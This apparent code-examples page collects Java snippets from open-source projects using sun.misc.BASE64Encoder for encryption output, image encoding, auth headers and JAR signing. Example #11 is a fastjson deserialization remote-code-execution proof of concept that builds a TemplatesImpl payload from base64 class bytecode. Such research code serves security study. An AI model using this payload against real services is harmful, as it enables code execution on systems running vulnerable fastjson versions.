sun.misc.BASE64Encoder Java Examples

The following examples show how to use sun.misc.BASE64Encoder. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: FileUtils.java    From common-project with Apache License 2.0 6 votes vote down vote up
/**
 * 文件内容转换成base64字符串
 *
 * @param imgFile
 * @return
 */
public static String fileContentToBase64(File imgFile) {// 将图片文件转化为字节数组字符串,并对其进行Base64编码处理
    byte[] data = null;
    // 读取图片字节数组
    try (
            InputStream in = new FileInputStream(imgFile);
    ) {
        data = new byte[in.available()];
        in.read(data);
    } catch (IOException e) {
        e.printStackTrace();
    }
    // 对字节数组Base64编码
    BASE64Encoder encoder = new BASE64Encoder();
    // 返回Base64编码过的字节数组字符串
    return encoder.encode(data);
}
 
Example #2
Source File: DESUtil.java    From Project with Apache License 2.0 6 votes vote down vote up
/**
 * 获取加密后的信息
 * 
 * @param str 待加密字符串
 * @return
 */
public static String getEncryptString(String str) {
	// 基于BASE64编码,接收byte[]并转换为String
	BASE64Encoder base64encoder = new BASE64Encoder();
	try {
		// 按UTF-8编码
		byte[] bytes = str.getBytes(CHARSETNAME);
		// 获取加密对象
		Cipher cipher = Cipher.getInstance(ALGORITHM);
		// 初始化密码信息
		cipher.init(Cipher.ENCRYPT_MODE, key);
		// 加密
		byte[] doFinal = cipher.doFinal(bytes);
		// byte[] to encode好的String并返回
		return base64encoder.encode(doFinal);
	} catch (Exception e) {
		throw new RuntimeException(e);
	}
}
 
Example #3
Source File: Base64ImgUtils.java    From spring-boot with Apache License 2.0 6 votes vote down vote up
/**
 * 图片转化成base64字符串,将图片文件转化为字节数组字符串,并对其进行Base64编码处理
 *
 * @param imgFile 待处理的图片
 * @return String 返回Base64编码过的字节数组字符串
 */
public static final String toBase64String(String imgFile) {

    InputStream in = null;
    if(StringUtils.isEmpty(imgFile)) return null;
    byte[] data = null;

    //读取图片字节数组
    try {
        in = new FileInputStream(imgFile);
        data = new byte[in.available()];
        in.read(data);
        in.close();
    } catch (IOException e) {
        System.err.println("图片转化成base64字符串错误:" + e.getMessage());
    }
    //对字节数组Base64编码
    BASE64Encoder encoder = new BASE64Encoder();
    return encoder.encode(data);
}
 
Example #4
Source File: InsightsEmailService.java    From Insights with Apache License 2.0 6 votes vote down vote up
private JsonObject getInferenceDetails() throws KeyManagementException, KeyStoreException, NoSuchAlgorithmException {
	//RestTemplate restTemplate = new RestTemplate();
	RestTemplate restTemplate = restTemplate();
	String credential = ApplicationConfigProvider.getInstance().getUserId()+":"+
			ApplicationConfigProvider.getInstance().getPassword();
	byte[] credsBytes = credential.getBytes();
	byte[] base64CredsBytes = new BASE64Encoder().encode(credsBytes).getBytes();
	String base64Creds = new String(base64CredsBytes);
	HttpHeaders headers = new HttpHeaders();
	headers.set(EmailConstants.ACCEPT, MediaType.APPLICATION_JSON_UTF8_VALUE);
	headers.add(EmailConstants.AUTHORIZATION, "Basic "+base64Creds);
	HttpEntity<?> entity = new HttpEntity<>(headers);
	String restUrl = ApplicationConfigProvider.getInstance().getInsightsServiceURL()+"/PlatformService/insights/inferences";
	//String restUrl = "http://localhost:7080"+"/PlatformService/insights/inferences";
	HttpEntity<String> response = restTemplate.exchange(restUrl,HttpMethod.GET,entity,String.class);
	JsonParser parser = new JsonParser(); 
	JsonObject resultJson=new JsonObject();
	resultJson= parser.parse(response.getBody()).getAsJsonObject();
	LOG.debug("Insights inference details received from service");
	return resultJson;
}
 
Example #5
Source File: SignedJarBuilder.java    From javaide with GNU General Public License v3.0 6 votes vote down vote up
/**
 * Creates a {@link SignedJarBuilder} with a given output stream, and signing information.
 * <p/>If either <code>key</code> or <code>certificate</code> is <code>null</code> then
 * the archive will not be signed.
 * @param out the {@link OutputStream} where to write the Jar archive.
 * @param key the {@link PrivateKey} used to sign the archive, or <code>null</code>.
 * @param certificate the {@link X509Certificate} used to sign the archive, or
 * <code>null</code>.
 * @throws IOException
 * @throws NoSuchAlgorithmException
 */
public SignedJarBuilder(OutputStream out, PrivateKey key, X509Certificate certificate)
        throws IOException, NoSuchAlgorithmException {
    mOutputJar = new JarOutputStream(new BufferedOutputStream(out));
    mOutputJar.setLevel(9);
    mKey = key;
    mCertificate = certificate;

    if (mKey != null && mCertificate != null) {
        mManifest = new Manifest();
        Attributes main = mManifest.getMainAttributes();
        main.putValue("Manifest-Version", "1.0");
        main.putValue("Created-By", "1.0 (Android)");

        mBase64Encoder = new BASE64Encoder();
        mMessageDigest = MessageDigest.getInstance(DIGEST_ALGORITHM);
    }
}
 
Example #6
Source File: HttpAesUtil.java    From paascloud-master with Apache License 2.0 6 votes vote down vote up
/**
 * 加密
 *
 * @param contentParam 需要加密的内容
 * @param keyParam     加密密码
 * @param md5Key       是否对key进行md5加密
 * @param ivParam      加密向量
 *
 * @return 加密后的字节数据 string
 */
public static String encrypt(String contentParam, String keyParam, boolean md5Key, String ivParam) {
	try {
		byte[] content = contentParam.getBytes(CHAR_SET);
		byte[] key = keyParam.getBytes(CHAR_SET);
		byte[] iv = ivParam.getBytes(CHAR_SET);

		if (md5Key) {
			MessageDigest md = MessageDigest.getInstance("MD5");
			key = md.digest(key);
		}
		SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
		//"算法/模式/补码方式"
		Cipher cipher = Cipher.getInstance("AES/CBC/ISO10126Padding");
		//使用CBC模式, 需要一个向量iv, 可增加加密算法的强度
		IvParameterSpec ivps = new IvParameterSpec(iv);
		cipher.init(Cipher.ENCRYPT_MODE, skeySpec, ivps);
		byte[] bytes = cipher.doFinal(content);
		return new BASE64Encoder().encode(bytes);
	} catch (Exception ex) {
		log.error("加密密码失败", ex);
		throw new HttpAesException("加密失败");
	}
}
 
Example #7
Source File: Base64URL.java    From tls-sig-api-v2-java with MIT License 6 votes vote down vote up
public static byte[] base64EncodeUrl(byte[] input) {
    byte[] base64 = new BASE64Encoder().encode(input).getBytes();
    for (int i = 0; i < base64.length; ++i)
        switch (base64[i]) {
            case '+':
                base64[i] = '*';
                break;
            case '/':
                base64[i] = '-';
                break;
            case '=':
                base64[i] = '_';
                break;
            default:
                break;
        }
    return base64;
}
 
Example #8
Source File: InsertNotesAction.java    From Knowage-Server with GNU Affero General Public License v3.0 6 votes vote down vote up
private String getNotes(String execIdentifier, String objectid ) {
		

   String notes = "";
	try{	
		
		IObjNoteDAO objNoteDAO = DAOFactory.getObjNoteDAO();
		ObjNote objnotes = objNoteDAO.getExecutionNotes(new Integer(objectid), execIdentifier);
		
		if(objnotes!=null){
			byte[] notestemp = objnotes.getContent();
			notes = new BASE64Encoder().encode(notestemp);
			//notes = new String(objnotes.getContent());
		}
		
	} catch (Exception e) {
		logger.warn("Error while getting notes", e);
		notes = "SpagoBIError:Error";
	} 
	
	return notes ;
}
 
Example #9
Source File: AliyunUtil.java    From ZTuoExchange_framework with MIT License 6 votes vote down vote up
public static String MD5Base64(String s) {
    if (s == null) {
        return null;
    }
    String encodeStr = "";
    byte[] utfBytes = s.getBytes();
    MessageDigest mdTemp;
    try {
        mdTemp = MessageDigest.getInstance("MD5");
        mdTemp.update(utfBytes);
        byte[] md5Bytes = mdTemp.digest();
        BASE64Encoder b64Encoder = new BASE64Encoder();
        encodeStr = b64Encoder.encode(md5Bytes);
    } catch (Exception e) {
        throw new Error("Failed to generate MD5 : " + e.getMessage());
    }
    return encodeStr;
}
 
Example #10
Source File: AliyunUtil.java    From ZTuoExchange_framework with MIT License 6 votes vote down vote up
public static String MD5Base64(String s) {
    if (s == null) {
        return null;
    }
    String encodeStr = "";
    byte[] utfBytes = s.getBytes();
    MessageDigest mdTemp;
    try {
        mdTemp = MessageDigest.getInstance("MD5");
        mdTemp.update(utfBytes);
        byte[] md5Bytes = mdTemp.digest();
        BASE64Encoder b64Encoder = new BASE64Encoder();
        encodeStr = b64Encoder.encode(md5Bytes);
    } catch (Exception e) {
        throw new Error("Failed to generate MD5 : " + e.getMessage());
    }
    return encodeStr;
}
 
Example #11
Source File: FastjsonSerialize.java    From learnjavabug with MIT License 6 votes vote down vote up
private static void testSimpleExp() {
    try {
        StringBuilder stringBuilder = new StringBuilder();
        stringBuilder.append("{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",");
        String base64Class = new BASE64Encoder().encode(FileToByteArrayUtil.readCallbackRuntimeClassBytes("com/threedr3am/bug/fastjson/rce/Cmd.class"));
        base64Class = base64Class.replaceAll("\\r\\n","");
        stringBuilder.append("\"_bytecodes\":[\""+base64Class+"\"],");
        stringBuilder.append("\"_name\":\"a.b\",");
        stringBuilder.append("\"_tfactory\":{},");
        stringBuilder.append("\"_outputProperties\":{}}");
        String exp = stringBuilder.toString();
        System.out.println(exp);
        //漏洞利用条件,fastjson版本<=1.2.24 + Feature.SupportNonPublicField
        JSON.parseObject(exp,Object.class, Feature.SupportNonPublicField);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
 
Example #12
Source File: ApiController.java    From microservices-platform with Apache License 2.0 6 votes vote down vote up
/**
 * 获取token
 */
public Map getAccessToken(String code) throws UnsupportedEncodingException {
    RestTemplate restTemplate = new RestTemplate();
    HttpHeaders headers = new HttpHeaders();
    headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED);
    byte[] authorization = (clientId + ":" + clientSecret).getBytes("UTF-8");
    BASE64Encoder encoder = new BASE64Encoder();
    String base64Auth = encoder.encode(authorization);
    headers.add("Authorization", "Basic " + base64Auth);

    MultiValueMap<String, String> param = new LinkedMultiValueMap<>();
    param.add("code", code);
    param.add("grant_type", "authorization_code");
    param.add("redirect_uri", redirectUri);
    param.add("scope", "app");
    HttpEntity<MultiValueMap<String, String>> request = new HttpEntity<>(param, headers);
    ResponseEntity<Map> response = restTemplate.postForEntity(accessTokenUri, request , Map.class);
    Map result = response.getBody();
    return result;
}
 
Example #13
Source File: GZipUtil.java    From pmq with Apache License 2.0 6 votes vote down vote up
public static String compress(String str) {
	if ((str == null) || (str.isEmpty())) {
		return "";
	}
	ByteArrayOutputStream out = new ByteArrayOutputStream();
	try {
		GZIPOutputStream gzip = new GZIPOutputStream(out);
		gzip.write(str.getBytes("UTF-8"));
		gzip.flush();
		gzip.close();
		byte[] tArray = out.toByteArray();
		out.close();
		BASE64Encoder tBase64Encoder = new BASE64Encoder();
		return tBase64Encoder.encode(tArray);
	} catch (Exception ex) {
		logger.error("压缩异常,异常信息:" + ex.getMessage());
	}
	return str;
}
 
Example #14
Source File: FileUtils.java    From paas with Apache License 2.0 6 votes vote down vote up
/**
 * 对文件名发送到客户端时进行编码
 *
 * @param agent
 * @param fileName
 * @author jitwxs
 * @version 创建时间:2018年4月17日 下午4:06:31
 */
private String solveFileNameEncode(String agent, String fileName) {
    String res = "";
    try {
        if (agent.contains("MSIE")) {
            // IE浏览器
            res = URLEncoder.encode(fileName, "utf-8");
            res = res.replace("+", " ");
        } else if (agent.contains("Firefox")) {
            // 火狐浏览器
            BASE64Encoder base64Encoder = new BASE64Encoder();
            res = "=?utf-8?B?"
                    + base64Encoder.encode(fileName.getBytes("utf-8")) + "?=";
        } else {
            // 其它浏览器
            res = URLEncoder.encode(fileName, "utf-8");
        }
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
    return res;
}
 
Example #15
Source File: Base64Utils.java    From ns4_gear_watchdog with Apache License 2.0 6 votes vote down vote up
/**
 * 在线图片转换成base64字符串
 *
 * @param imgURL	图片线上路径
 * @return
 *
 * @author ZHANGJL
 * @dateTime 2018-02-23 14:43:18
 */
public static String ImageToBase64ByOnline(String imgURL) {
	ByteArrayOutputStream data = new ByteArrayOutputStream();
	try {
		// 创建URL
		URL url = new URL(imgURL);
		byte[] by = new byte[1024];
		// 创建链接
		HttpURLConnection conn = (HttpURLConnection) url.openConnection();
		conn.setRequestMethod("GET");
		conn.setConnectTimeout(5000);
		InputStream is = conn.getInputStream();
		// 将内容读取内存中
		int len = -1;
		while ((len = is.read(by)) != -1) {
			data.write(by, 0, len);
		}
		// 关闭流
		is.close();
	} catch (IOException e) {
		e.printStackTrace();
	}
	// 对字节数组Base64编码
	BASE64Encoder encoder = new BASE64Encoder();
	return encoder.encode(data.toByteArray());
}
 
Example #16
Source File: SignedJarBuilder.java    From java-n-IDE-for-Android with Apache License 2.0 6 votes vote down vote up
/**
 * Creates a {@link SignedJarBuilder} with a given output stream, and signing information.
 * <p/>If either <code>key</code> or <code>certificate</code> is <code>null</code> then
 * the archive will not be signed.
 * @param out the {@link OutputStream} where to write the Jar archive.
 * @param key the {@link PrivateKey} used to sign the archive, or <code>null</code>.
 * @param certificate the {@link X509Certificate} used to sign the archive, or
 * <code>null</code>.
 * @throws IOException
 * @throws NoSuchAlgorithmException
 */
public SignedJarBuilder(OutputStream out, PrivateKey key, X509Certificate certificate)
        throws IOException, NoSuchAlgorithmException {
    mOutputJar = new JarOutputStream(new BufferedOutputStream(out));
    mOutputJar.setLevel(9);
    mKey = key;
    mCertificate = certificate;

    if (mKey != null && mCertificate != null) {
        mManifest = new Manifest();
        Attributes main = mManifest.getMainAttributes();
        main.putValue("Manifest-Version", "1.0");
        main.putValue("Created-By", "1.0 (Android)");

        mBase64Encoder = new BASE64Encoder();
        mMessageDigest = MessageDigest.getInstance(DIGEST_ALGORITHM);
    }
}
 
Example #17
Source File: ImageUtils.java    From jeewx-boot with Apache License 2.0 6 votes vote down vote up
/**
 * 通过网络url获取图片的base64字符串
 *
 * @param imgURL 图片url
 * @return 返回图片base64的字符串
 */
public static String ImageToBase64ByOnline(String imgURL) {
    ByteArrayOutputStream data = new ByteArrayOutputStream();
    try {
        // 创建URL
        URL url = new URL(imgURL);
        byte[] by = new byte[1024];
        // 创建链接
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setRequestMethod("GET");
        conn.setConnectTimeout(10000);
        InputStream is = conn.getInputStream();
        // 将内容读取内存中
        int len = -1;
        while ((len = is.read(by)) != -1) {
            data.write(by, 0, len);
        }
        // 关闭流
        is.close();
    } catch (IOException e) {
        e.printStackTrace();
    }
    // 对字节数组Base64编码
    BASE64Encoder encoder = new BASE64Encoder();
    return encoder.encode(data.toByteArray());
}
 
Example #18
Source File: Base64Convert.java    From MicroCommunity with Apache License 2.0 6 votes vote down vote up
/**
 * 流转换为字符串
 *
 * @param in
 * @return
 * @throws IOException
 */
public static String ioToBase64(InputStream in) throws IOException {
    String strBase64 = null;
    try {
        // in.available()返回文件的字节长度
        byte[] bytes = new byte[in.available()];
        // 将文件中的内容读入到数组中
        in.read(bytes);
        strBase64 = new BASE64Encoder().encode(bytes);      //将字节流数组转换为字符串
    } finally {
        if (in != null) {
            in.close();
        }
    }

    return strBase64;
}
 
Example #19
Source File: AsymmetricProviderSingleton.java    From Knowage-Server with GNU Affero General Public License v3.0 5 votes vote down vote up
public String enCrypt(String value) {
	byte[] result = mac.doFinal(value.getBytes());

	BASE64Encoder encoder = new BASE64Encoder();
	String encoded = encoder.encode(result);

	return encoded;
}
 
Example #20
Source File: StandaloneArgument.java    From argument-reasoning-comprehension-task with Apache License 2.0 5 votes vote down vote up
public void setJCas(JCas jCas)
        throws IOException
{
    // now convert to XMI
    ByteArrayOutputStream byteOutputStream = new ByteArrayOutputStream();
    try {
        XmiCasSerializer.serialize(jCas.getCas(), byteOutputStream);
    }
    catch (SAXException e) {
        throw new IOException(e);
    }

    // encode to base64
    this.base64JCas = new BASE64Encoder().encode(byteOutputStream.toByteArray());
}
 
Example #21
Source File: FileDataProxy.java    From Knowage-Server with GNU Affero General Public License v3.0 5 votes vote down vote up
public String getMD5Checksum() {
	logger.debug("IN");
	byte[] checksum = this.createChecksum();
	BASE64Encoder encoder = new BASE64Encoder();
	String encoded = encoder.encode(checksum);
	logger.debug("OUT: returning [" + encoded + "]");
	return encoded;
}
 
Example #22
Source File: OAuth2Client.java    From Knowage-Server with GNU Affero General Public License v3.0 5 votes vote down vote up
private PostMethod createPostMethodForAccessToken() {
	String authorizationCredentials = config.getProperty("CLIENT_ID") + ":" + config.getProperty("SECRET");
	String encoded = new String(new BASE64Encoder().encode(authorizationCredentials.getBytes()));
	encoded = encoded.replaceAll("\n", "");
	encoded = encoded.replaceAll("\r", "");

	HttpClient httpClient = getHttpClient();
	PostMethod httppost = new PostMethod(config.getProperty("ACCESS_TOKEN_URL"));
	httppost.setRequestHeader("Authorization", "Basic " + encoded);
	httppost.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

	return httppost;
}
 
Example #23
Source File: AesCBC.java    From utils with Apache License 2.0 5 votes vote down vote up
/**
 * 加密.
 *
 * @param sSrc
 * @param encodingFormat
 * @param sKey
 * @param ivParameter
 * @return java.lang.String
 */
public String encrypt(String sSrc, String encodingFormat, String sKey, String ivParameter) throws Exception {
    Cipher cipher = null;
    cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    byte[] raw = sKey.getBytes(encodingFormat);
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    //使用CBC模式,需要一个向量iv,可增加加密算法的强度
    IvParameterSpec iv = new IvParameterSpec(ivParameter.getBytes(encodingFormat));
    cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
    byte[] encrypted = cipher.doFinal(sSrc.getBytes(encodingFormat));
    //此处使用BASE64做转码。
    return new BASE64Encoder().encode(encrypted);
}
 
Example #24
Source File: SignedJarBuilder.java    From atlas with Apache License 2.0 5 votes vote down vote up
/**
 * Writes a .SF file with a digest to the manifest.
 */
private void writeSignatureFile(SignatureOutputStream out)
        throws IOException, GeneralSecurityException {
    Manifest sf = new Manifest();
    Attributes main = sf.getMainAttributes();
    main.putValue("Signature-Version", "1.0");
    main.putValue("Created-By", "1.0 (Android)");
    BASE64Encoder base64 = new BASE64Encoder();
    MessageDigest md = MessageDigest.getInstance(DIGEST_ALGORITHM);
    PrintStream print = new PrintStream(
            new DigestOutputStream(new ByteArrayOutputStream(), md),
            true, "utf-8");
    // Digest of the entire manifest
    mManifest.write(print);
    print.flush();
    main.putValue(DIGEST_MANIFEST_ATTR, base64.encode(md.digest()));
    Map<String, Attributes> entries = mManifest.getEntries();
    for (Map.Entry<String, Attributes> entry : entries.entrySet()) {
        // Digest of the manifest stanza for this entry.
        print.print("Name: " + entry.getKey() + "\r\n");
        for (Map.Entry<Object, Object> att : entry.getValue().entrySet()) {
            print.print(att.getKey() + ": " + att.getValue() + "\r\n");
        }
        print.print("\r\n");
        print.flush();
        Attributes sfAttr = new Attributes();
        sfAttr.putValue(DIGEST_ATTR, base64.encode(md.digest()));
        sf.getEntries().put(entry.getKey(), sfAttr);
    }
    sf.write(out);
    // A bug in the java.util.jar implementation of Android platforms
    // up to version 1.6 will cause a spurious IOException to be thrown
    // if the length of the signature file is a multiple of 1024 bytes.
    // As a workaround, add an extra CRLF in this case.
    if ((out.size() % 1024) == 0) {
        out.write('\r');
        out.write('\n');
    }
}
 
Example #25
Source File: CkanDataProxy.java    From Knowage-Server with GNU Affero General Public License v3.0 5 votes vote down vote up
public String getMD5Checksum() {
	logger.debug("IN");
	byte[] checksum = this.createChecksum();
	BASE64Encoder encoder = new BASE64Encoder();
	String encoded = encoder.encode(checksum);
	logger.debug("OUT: returning [" + encoded + "]");
	return encoded;
}
 
Example #26
Source File: Encrypt.java    From watchdog-framework with MIT License 5 votes vote down vote up
/**
 * base64加密
 * */
public static String base64Encode(String str) {
    byte[] b = null;
    String s = null;
    try {
        b = str.getBytes("utf-8");
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
    if (b != null) {
        s = new BASE64Encoder().encode(b);
    }
    return s;
}
 
Example #27
Source File: AES_ECB.java    From common-project with Apache License 2.0 5 votes vote down vote up
/**
 * 加密
 *
 * @param data
 * @return
 * @throws Exception
 */
@Override
public String Encrypt(String data) throws Exception {
    byte[] encrypted = null;
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    Cipher cipher = Cipher.getInstance(ALGORITHM, "BC");//"算法/模式/补码方式"
    cipher.init(Cipher.ENCRYPT_MODE, skeySpec);
    encrypted = cipher.doFinal(data.getBytes("utf-8"));
    return new BASE64Encoder().encode(encrypted);//此处使用BASE64做转码功能,同时能起到2次加密的作用。
}
 
Example #28
Source File: AES_CBC.java    From common-project with Apache License 2.0 5 votes vote down vote up
@Override
public String Encrypt(String sSrc) throws Exception {
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    byte[] raw = sKey.getBytes();
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    IvParameterSpec iv = new IvParameterSpec(ivParameter.getBytes());//使用CBC模式,需要一个向量iv,可增加加密算法的强度
    cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
    byte[] encrypted = cipher.doFinal(sSrc.getBytes("utf-8"));
    return new BASE64Encoder().encode(encrypted);//此处使用BASE64做转码。
}
 
Example #29
Source File: Tools.java    From my-site with Apache License 2.0 5 votes vote down vote up
public static String enAes(String data, String key) throws Exception {
    Cipher cipher = Cipher.getInstance("AES");
    SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
    cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec);
    byte[] encryptedBytes = cipher.doFinal(data.getBytes());
    return new BASE64Encoder().encode(encryptedBytes);
}
 
Example #30
Source File: SystemStatus.java    From Insights with Apache License 2.0 5 votes vote down vote up
public static String jerseyPostClientWithAuthentication(String url, String name, String password,
		String authtoken, String data) {
	String output;
	String authStringEnc;
	ClientResponse response = null;
	try {
		if (authtoken == null) {
			String authString = name + ":" + password;
			authStringEnc = new BASE64Encoder().encode(authString.getBytes());
		} else {
			authStringEnc = authtoken;
		}
		JsonParser parser = new JsonParser();
		JsonElement dataJson = parser.parse(data);//new Gson().fromJson(data, JsonElement.class)
		Client restClient = Client.create();
		restClient.setConnectTimeout(5001);
		WebResource webResource = restClient.resource(url);
		response = webResource.accept("application/json")
				//.header("Authorization", "Basic " + authStringEnc)
				.post(ClientResponse.class, dataJson.toString());//"{aa}"
		if (response.getStatus() != 200) {
			throw new RuntimeException("Failed : HTTP error code : " + response.getStatus());
		} else {
			output = response.getEntity(String.class);
		}
		System.out.print(" response code " + response.getStatus() + "  output  " + output);
	} catch (Exception e) {
		System.out.println(" error while getGetting  jerseyPostClientWithAuthentication " + e.getMessage());
		throw new RuntimeException(
				"Failed : error while getGetting jerseyPostClientWithAuthentication : " + e.getMessage());
	} finally {
		if (response != null) {
			response.close();
		}
	}
	return output;
}